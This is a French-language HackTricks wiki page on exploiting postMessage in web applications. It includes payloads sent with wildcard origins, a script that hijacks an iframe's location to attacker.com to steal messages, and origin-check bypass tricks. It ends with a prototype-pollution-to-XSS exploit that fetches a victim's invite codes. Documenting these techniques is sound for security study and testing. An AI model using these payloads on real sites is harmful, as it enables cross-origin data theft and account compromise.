.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Vulnerabilities
PostMessage Vulnerabilities
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :
{% embed url="https://whiteintel.io" %}
Send PostMessage
PostMessage utilise la fonction suivante pour envoyer un message :
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Notez que targetOrigin peut être un '*' ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu'à ce domaine (même si l'origine de l'objet window est différente).
Si le joker est utilisé, les messages peuvent être envoyés à n'importe quel domaine, et seront envoyés à l'origine de l'objet Window.
Attaquer iframe & joker dans targetOrigin
Comme expliqué dans ce rapport, si vous trouvez une page qui peut être iframée (pas de protection X-Frame-Header
) et qui envoie des messages sensibles via postMessage en utilisant un joker (*), vous pouvez modifier l'origine de l'iframe et fuiter le message sensible vers un domaine contrôlé par vous.
Notez que si la page peut être iframée mais que le targetOrigin est défini sur une URL et non sur un joker, cette astuce ne fonctionnera pas.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
exploitation de addEventListener
addEventListener
est la fonction utilisée par JS pour déclarer la fonction qui attend des postMessages
.
Un code similaire à celui-ci sera utilisé :
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Notez dans ce cas comment la première chose que le code fait est de vérifier l'origine. C'est terriblement important, surtout si la page va faire quoi que ce soit de sensible avec les informations reçues (comme changer un mot de passe). Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison et changent les mots de passe des victimes (dans cet exemple).
Énumération
Pour trouver des écouteurs d'événements sur la page actuelle, vous pouvez :
- Rechercher dans le code JS
window.addEventListener
et$(window).on
(version JQuery) - Exécuter dans la console des outils de développement :
getEventListeners(window)
- Aller à Éléments --> Écouteurs d'événements dans les outils de développement du navigateur
- Utiliser une extension de navigateur comme https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Ces extensions de navigateur vont intercepter tous les messages et vous les montrer.
Contournements de vérification d'origine
- L'attribut
event.isTrusted
est considéré comme sécurisé car il renvoieTrue
uniquement pour les événements générés par de véritables actions de l'utilisateur. Bien qu'il soit difficile à contourner s'il est correctement implémenté, son importance dans les vérifications de sécurité est notable. - L'utilisation de
indexOf()
pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- La méthode
search()
deString.prototype.search()
est destinée aux expressions régulières, pas aux chaînes. Passer autre chose qu'une regexp entraîne une conversion implicite en regex, rendant la méthode potentiellement non sécurisée. Cela est dû au fait qu'en regex, un point (.) agit comme un caractère générique, permettant de contourner la validation avec des domaines spécialement conçus. Par exemple :
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La fonction
match()
, similaire àsearch()
, traite les regex. Si la regex est mal structurée, elle pourrait être sujette à contournement. -
La fonction
escapeHtml
est destinée à assainir les entrées en échappant les caractères. Cependant, elle ne crée pas un nouvel objet échappé mais écrase les propriétés de l'objet existant. Ce comportement peut être exploité. En particulier, si un objet peut être manipulé de sorte que sa propriété contrôlée ne reconnaisse pashasOwnProperty
, l'escapeHtml
ne fonctionnera pas comme prévu. Cela est démontré dans les exemples ci-dessous : -
Échec attendu :
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Contournement de l'échappement :
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Dans le contexte de cette vulnérabilité, l'objet File
est particulièrement exploitable en raison de sa propriété name
en lecture seule. Cette propriété, lorsqu'elle est utilisée dans des modèles, n'est pas assainie par la fonction escapeHtml
, ce qui entraîne des risques de sécurité potentiels.
- La propriété
document.domain
en JavaScript peut être définie par un script pour raccourcir le domaine, permettant une application plus souple de la politique de même origine au sein du même domaine parent.
Contournement de e.origin == window.origin
Lors de l'intégration d'une page web dans un iframe sandboxé en utilisant %%%%%%, il est crucial de comprendre que l'origine de l'iframe sera définie sur null. Cela est particulièrement important lors de la gestion des attributs sandbox et de leurs implications sur la sécurité et la fonctionnalité.
En spécifiant allow-popups
dans l'attribut sandbox, toute fenêtre popup ouverte depuis l'iframe hérite des restrictions de sandbox de son parent. Cela signifie que, à moins que l'attribut allow-popups-to-escape-sandbox
ne soit également inclus, l'origine de la fenêtre popup est également définie sur null
, s'alignant avec l'origine de l'iframe.
Par conséquent, lorsqu'une popup est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la popup en utilisant postMessage
, les deux extrémités d'envoi et de réception ont leurs origines définies sur null
. Cette situation conduit à un scénario où e.origin == window.origin
évalue à vrai (null == null
), car à la fois l'iframe et la popup partagent la même valeur d'origine de null
.
Pour plus d'informations lisez :
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Contournement de e.source
Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les Scripts de Contenu des extensions de navigateur pour vérifier si le message a été envoyé depuis la même page) :
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Vous pouvez forcer e.source
d'un message à être nul en créant un iframe qui envoie le postMessage et qui est immédiatement supprimé.
Pour plus d'informations lisez :
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Contournement de l'en-tête X-Frame
Pour effectuer ces attaques, idéalement, vous pourrez mettre la page web de la victime à l'intérieur d'un iframe
. Mais certains en-têtes comme X-Frame-Header
peuvent empêcher ce comportement.
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Vol de message envoyé à l'enfant en bloquant la page principale
Dans la page suivante, vous pouvez voir comment vous pourriez voler des données postmessage sensibles envoyées à un iframe enfant en bloquant la page principale avant d'envoyer les données et en abusant d'un XSS dans l'enfant pour fuiter les données avant qu'elles ne soient reçues :
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Vol de message en modifiant l'emplacement de l'iframe
Si vous pouvez iframe une page web sans X-Frame-Header qui contient un autre iframe, vous pouvez changer l'emplacement de cet iframe enfant, donc s'il reçoit un postmessage envoyé en utilisant un wildcard, un attaquant pourrait changer cette origine d'iframe à une page contrôlée par lui et voler le message :
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage pour la pollution de prototype et/ou XSS
Dans des scénarios où les données envoyées via postMessage
sont exécutées par JS, vous pouvez iframe la page et exploiter la pollution de prototype/XSS en envoyant l'exploit via postMessage
.
Quelques XSS très bien expliqués via postMessage
peuvent être trouvés sur https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Exemple d'un exploit pour abuser de la pollution de prototype et ensuite XSS via un postMessage
à un iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Pour plus d'informations :
- Lien vers la page sur la pollution de prototype
- Lien vers la page sur XSS
- Lien vers la page sur la pollution de prototype côté client vers XSS
Références
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Pour pratiquer : https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.